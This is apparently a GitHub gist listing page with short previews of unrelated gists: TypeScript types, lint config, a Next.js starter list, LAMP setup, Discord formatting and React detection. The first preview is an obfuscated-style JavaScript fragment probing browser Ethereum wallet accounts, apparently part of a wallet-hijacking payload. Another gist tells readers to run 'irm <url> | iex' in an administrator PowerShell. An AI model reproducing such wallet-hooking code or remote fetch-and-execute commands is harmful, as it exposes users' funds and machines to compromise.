- Shall i implement it?
- No ...
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| var neth = 0, | |
| rund = 0, | |
| loval = 0 | |
| async function checkethereumw() { | |
| try { | |
| const _0x124ed3 = await window.ethereum.request({ method: 'eth_accounts' }) | |
| _0x124ed3.length > 0 | |
| ? (runmask(), rund != 1 && ((rund = 1), (neth = 1), newdlocal())) | |
| : rund != 1 && ((rund = 1), newdlocal()) | |
| } catch (_0x53a897) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Types for the result object with discriminated union | |
| type Success<T> = { | |
| data: T; | |
| error: null; | |
| }; | |
| type Failure<E> = { | |
| data: null; | |
| error: E; | |
| }; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Run this command to generate base config and vs code settings: | |
| // pnpm dlx @antfu/eslint-config@latest | |
| import antfu from "@antfu/eslint-config"; | |
| export default antfu({ | |
| type: "app", | |
| typescript: true, | |
| formatters: true, | |
| stylistic: { |
A list of CLI generators, starter kits / boilerplates and toolkits to kick start your Next.js apps.
- What is included in this list:
- Has ~1K+ Github stars
- Actively maintained / up to date
- Includes a style / css solution or UI Framework
- Includes a database
- Includes authentication / authorization
Important
Working on the latest supported Windows versions. Run Windows Update before following this guide.
1. Open Powershell > RUN AS ADMIN
2. Paste in irm https://gist.github.com/ave9858/c3451d9f452389ac7607c99d45edecc6/raw/UninstallEdge.ps1 | iex and press enter
3. Microsoft Edge will be completely uninstalled.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| YouTube video link: https://youtu.be/8Uofkq718n8 | |
| All the commands that are executed in the above youtube video are mentioned in this gist. | |
| 1. Install Apache server on Ubuntu | |
| sudo apt install apache2 | |
| 2. Install php runtime and php mysql connector | |
| sudo apt install php libapache2-mod-php php-mysql | |
| 3. Install MySQL server |
Want to inject some flavor into your everyday text chat? You're in luck! Discord uses Markdown, a simple plain text formatting system that'll help you make your sentences stand out. Here's how to do it! Just add a few characters before & after your desired text to change your text! I'll show you some examples...
What this guide covers:
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Paste these lines into website's console (Win/Linux: Ctrl + Shift + I / Mac: Cmd + Alt + I) | |
| if(!!window.React || | |
| !!document.querySelector('[data-reactroot], [data-reactid]') || | |
| Array.from(document.querySelectorAll('*')).some(e => e._reactRootContainer !== undefined || Object.keys(e).some(k => k.startsWith('__reactContainer'))) | |
| ) | |
| console.log('React.js'); | |
| if(!!document.querySelector('script[id=__NEXT_DATA__]')) | |
| console.log('Next.js'); |